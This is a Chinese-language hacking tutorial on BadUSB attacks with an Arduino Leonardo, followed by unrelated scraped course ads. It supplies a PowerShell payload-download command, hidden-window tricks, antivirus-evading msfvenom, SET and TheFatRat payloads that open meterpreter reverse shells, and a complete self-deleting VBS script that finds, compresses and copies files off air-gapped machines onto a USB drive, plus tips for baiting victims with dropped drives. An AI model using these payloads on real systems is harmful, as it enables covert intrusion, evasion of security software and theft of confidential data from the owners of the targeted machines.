基于ArduinoLeonardo板子的BadUSB攻击实战

0X00 前言

在Freebuf上许多同学已经对HID攻击谈了自己的看法,如维克斯同学的《利用Arduino快速制作Teensy BadUSB》无论从科普还是实践都给我们详尽的描述了BadUSB制作的相关过程,lpcdma同学的《使用arduino进行渗透测试》则通过SET与Arduino的结合进行渗透,mrzcpo同学的 《HID高级攻击姿势:利用PowerShell脚本进行文件窃取》则介绍了获取文件的详细步骤,我在学习领悟之后想到了一些改进方案,比如绕过360主动防御,隐藏攻击行为,payload免杀,针对不联网设备攻击等,现分享如下,如有不足之处还请大佬指教。

(为贴近实战在某宝上买了个带外壳的Leonardo:P)

0X01 绕过360主动防御

输入Powershell命令

powershell -Command $clnt = new-object System.Net.WebClient;$url= ‘http://127.0.0.1/PUTTY.EXE‘;$file = ‘ D:\\x.exe ‘;$clnt.DownloadFile($url,$file);

这个命令的意思大体是从服务器(这里是本地web服务器)下载EXE到D盘上,但是直接输入360会弹框:

这显然会引起用户注意:-O,而在之前文章中并未提及,可能是在未装杀软的虚拟机中运行的。因为此处不可以通过操控键盘,用先按左键,再按回车的方法实现“允许程序运行”,想到用模拟鼠标的操作完成两次点击,然而比较难以操控,后发现可以通过分步完成绕过:P

注意在实际操作中不要把文件下载到C盘中,那样还需要一个管理员权限,比较麻烦

0X02最大化隐蔽操作

在调出运行窗口后输入

cmd /c start /min powershell -w hidden

/c标明执行玩/c后面的语句后关闭cmd窗口,就不会弹出一个黑框来吓人了,start /min是最小化窗口运行命令,可以避免弹出powershell的蓝框,-w hidden是让powershell以隐蔽的模式运行,此时仍可以输入命令,但不会出现对话框,这样就可以让命令运行尽可能的隐蔽了:P

当然是为了装个小X,做演示的话就可以先不管这些了,不过从实战角度出发,还是低调为妙:P

0X03免杀Payload

在完成了文件下载之后我们就思考如何拿到shell,此时有两种方式

对msf攻击负荷的免杀处理

在Kali2.0里面msfpayload和msfencode合二为一成为了msfvenom(venom:毒液(⊙o⊙))

-p指定负荷类型,后面是参数,-f指定输出格式,-x指定自义定的模板,这里用Putty.exe,-e指定编码格式,-i指定编码次数,-o指定输出位置(msfvenom可能由于集成了两个功能,导致不能多重编码||=_=)

再用upx进行加壳处理,-9指定以最高等级加壳,最低为1

然而还是被干掉了(;′⌒`)但即使用BT5里面带的msfencode进行多次编码也只能过部分杀软,而且一旦木马被收录360云端就永久失效了,我们找一种现在看起来更好的方法:P

SET工具集中的Powershell攻击向量

直接下载msf生成的Payload即使花式编码也难免被高启发、云查杀、沙箱检测等手段干掉,所以通过强大的Powershell来建立反向连接是不错的选择,然而在SET工具包中Arduion-Based Attack Vector还针对的是Teensy,并不能直接在Leonardo上使用,故需通过SET中Powershell Attack Vector来实现目的

然后会打开一个MSF的Reverse_TCP Listener

此时只需要在靶机上运行SET生成的Payload即可(初始生成的是txt,后缀改为bat即可)可以看到打开了一个meterpreter连接:P

TheFatRat

Screetsec组织新出了一个TheFatRat,可以生成免杀的Payload,也是使用的Powershell+bat进行攻击我们来看一下效果:P生成步骤:

生成的test.bat可以过360

)

同时还能过大多数AV(只有一家报了毒):P

成功打开meterpreter会话:P

尝试后发现[2]Create exe file with c# + Powershell产生的exe文件会在一会后报毒,也许可以用,但还是会引起被控者警觉,看来Powershell,bat这样Windows组件好啊,作为系统组件不可能被查杀;文件小巧而又有底层支持,从而功能强大;驱动脚本非PE从而难以以静态方法查杀;而且大多数Windows电脑并没有禁用Powershell,故成为当今病毒界大红大紫的人物:P

0X04针对不联网设备攻击

我们知道许多机密场合计算机都是不联网的,对此我们只能通过USB带出资料,而可惜的是现有BadUSB设备并无存储功能-_-||(也许可以订制),所以只能通过摆渡攻击实现,第一次导入代码自动搜索想要的文件,打包压缩,并在检测到有U盘插入时将文件传入U盘,此VBS代码在后台运行,等待时机,先用Arduino Leanardo传入代码,再用另一个U盘取出文件。

vbs代码实现如下,主要功能是通过模糊查询找到想要的文件,放到D:\fn(fileneeded)文件夹下,压缩后删除原文件并等待U盘插入,插入后将fn.rar传入U盘并删除目标电脑中的fn.rar和VBS脚本

On Error Resume Next

‘查找指定的文件

‘纯vbs的话要递归遍历所有文件夹,比较麻烦,可以和cmd结合起来用

targetfile="*flag*.txt" ‘改成你要找的文件名,进行模糊查询

Set WshShell = WScript.CreateObject("Wscript.Shell")

Set fso = WScript.CreateObject("Scripting.Filesystemobject")

tempfile=WScript.ScriptName&"_temp.txt" ‘存找到的文件目录的临时文件

wshshell.Run "cmd /c dir d:\"&targetfile&"/b /s>"&tempfile,0,True

Set f=fso.GetFile(tempfile)

If f.Size>0 Then

‘dir找到目标文件时会向tempfile中写入数据,

Set ft=fso.OpenTextFile(tempfile,1)

fso.CreateFolder "d:\fn"

Do Until ft.AtEndOfStream ‘可能会找到多个文件,故需要读每一行的数据

line=ft.ReadLine ‘读入一行

fso.CopyFile line,"d:\fn\",false

Loop

ft.Close

End If

fso.DeleteFile(tempfile)‘删除生成的临时文件

‘压缩文件

des="d:\fn.rar"

sou="d:\fn"

WshShell.Run "cd C:\Program Files\WinRAR ",0,True

WshShell.Run "winrar m -r -epl -ibck "& Chr(34)&des&Chr(34)&" "&Chr(34)&sou&chr(34),0,True

‘ 实现后台压缩完后删除原文件 ,Chr(34)为解决双引号里面套双引号的问题

‘检测有无U盘插入并将压缩包发到U盘中

dim dc,d,flag

flag=0

do

if flag=1 then exit do

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 1 Then

If u="" Then

u=d.DriveLetter

add = u&":/"

fso.CopyFile "d:\fn.rar",add,false ‘复制文件到u盘

flag = 1

End if

u=""

End if

WScript.Sleep 5000

Next

loop

WScript.Sleep 10000

fso.DeleteFile "d:\fn.rar" ‘删除压缩包

fso.DeleteFile(WScript.ScriptFullName)‘自删除

不过当今各种杀软对VBS脚本是严防死守,很多正常功能都报毒,没有高超的VBS免杀技术恐怕是难以完成了。或许可以寄托于不联网的机器松于防备,没装AV…,不过不联网的电脑多半是放绝密信息的,要是你能偷到就可以吃枪子了||+_+。不知道你下辈子还想不想干黑客,如果可能的话十五年后你又是一条好汉:P

结语

在实战中还可以通过仔细选择USB投掷地点,选择或卡哇伊或猥琐的U盘外壳,或在USB上贴上虚构的联系方式,“捡到请归还”等标签增加迷惑性,总之不要低估人类愚蠢的好奇心就好:P

最后的最后,尽管在《超限战》中说道“一切可以帮助人类的东西皆可加害于人类”,但我更想说的是:反之,亦然 !那些伤害人类的东西会让我们变得更加坚强,愿以此文以攻促防,为网络空间的安全添砖加瓦!

本文存在攻击性,请勿用于非法用途,一切责任与本人无关。

时间: 2024-10-06 12:45:11

基于ArduinoLeonardo板子的BadUSB攻击实战的相关文章

基于微博数据应用的HBase实战开发_HBase视频教程

基于微博数据应用的HBase实战开发 课程观看地址:http://www.xuetuwuyou.com/course/150 课程出自学途无忧网:http://www.xuetuwuyou.com 一.课程用到的软件 1.centos6.7 2.apache-tomcat-7.0.47 3.solr-5.5 4.zookeeper 3.4.6 5.eclipse-jee-neon-R-win32-x86_64  6.jdk1.7_49 7.HBase1.2.2 8.Ganglia3.7.2 9.

基于SSH2+Maven+EasyUI+MySQL技术实战开发易买网电子商务交易平台【课程分享】

链接:http://pan.baidu.com/share/link?shareid=1334596560&uk=3611155194 密码:ffna 对这个课程有兴趣的朋友可以加我的QQ2059055336和我联系 课程讲师:IT小生 课程分类:Java 适合人群:中级 课时数量:52课时 用到技术:Hibernate.Struts.Spring.Maven.EasyUI 涉及项目:易买网电子商务 更新程度:完毕 一.易买网前台部分讲解: 第一讲: Maven初体验 第二讲:Maven打包测试

电子书 flaskweb开发:基于Python的Web应用开发实战.pdf

作为PythonWeb开发的微框架,Flask独树一帜.它不会强迫开发者遵循预置的开发规范,为开发者提供了自由度和创意空间. <图灵程序设计丛书·Flask Web开发:基于Python的Web应用开发实战>作者拥有25年软件开发经验,而<图灵程序设计丛书·Flask Web开发:基于Python的Web应用开发实战>则采用讲解与实例相结合的方式,不仅介绍了Flask安装.使用等基础知识,而且还带领读者一步一步地开发了社交博客Flasky.即使从未接触Flask,你也能轻松学会构建

Flask之旅《Flask Web开发:基于Python的Web应用开发实战》学习笔记

<Flask Web开发:基于Python的Web应用开发实战> 点击上方的"目录"快速到达哦! 虽然简单的网站(Flask+Python+SAE)已经上线,但只是入门.开发大型网站,系统地学习一遍还是有必要的. 1 虚拟环境 2016-6-8 书上介绍了 virtualenv,每个venv都会拷贝一份packages到项目 /venv目录. virtualenv venv venv\Scripts\activate.bat (venv) $ pip freeze >

基于Python数据分析与机器学习案例实战教程

课程--基于Python数据分析与机器学习案例实战教程 分享网盘下载--https://pan.baidu.com/s/1jHSaRAY 密码: xk37 课程背景基于数据分析与机器学习领域,使用python作为课程的实战语言,随着大数据与人工智能领域日益火爆,数据分析和机器学习建模成了当下最热门的技术,课程旨在帮助同学们快速掌握python数据分析包以及经典机器学习算法并通过对真实数据集分析进行实战演示. 课程风格通俗易懂,基于真实数据集案例实战. 主体课程分成三个大模块 (1)python数

BAT大牛亲授 基于ElasticSearch的搜房网实战

BAT大牛亲授 基于ElasticSearch的搜房网实战网盘地址:https://pan.baidu.com/s/1jJMCcdC 密码: 4pcf备用地址(腾讯微云):https://share.weiyun.com/4f171b9beb21d0cbe391d764788609d6 密码:6yy630 第1章 课程介绍本章首先会对整个课程做一个基本的介绍,包括使用到的技术.项目整体运行效果,让大家了解通过学习本门课程可以接触并学习到哪些技术.然后让大家在学习之前,对课程学习所需要的前置知识有

《Flask Web开发:基于Python的Web应用开发实战》pdf 免费下载

<Flask Web开发:基于Python的Web应用开发实战>pdf 免费下载链接: https://u253469.ctfile.com/fs/253469-292665036 第一部分 Flask 简介第1 章 安装 .........................................................................................................................................

《Flask Web开发:基于Python的Web应用开发实战》pdf 完整版免费下载

<Flask Web开发:基于Python的Web应用开发实战>.pdf pdf 完整版免费下载: https://u253469.ctfile.com/fs/253469-292665036 更多电子书下载: http://hadoopall.com/book 内容简介 本书不仅适合初级Web开发人员学习阅读,更是Python程序员用来学习高级Web开发技术的优秀参考书. ? 学习Flask应用的基本结构,编写示例应用: ? 使用必备的组件,包括模板.数据库.Web表单和电子邮件支持: ?

[分享]《Flask Web开发:基于Python的Web应用开发实战(第2版)》中文PDF+源代码

下载:Flask Web开发第二版<Flask Web开发:基于Python的Web应用开发实战>第二版中文PDF,324页,带目录和书签,文字能够复制粘贴:配套源代码:经典书籍第二版,讲解详细,分三部分,全面介绍如何基于Python微框架Flask进行Web开发. 如图: 原文地址:http://blog.51cto.com/14086980/2320849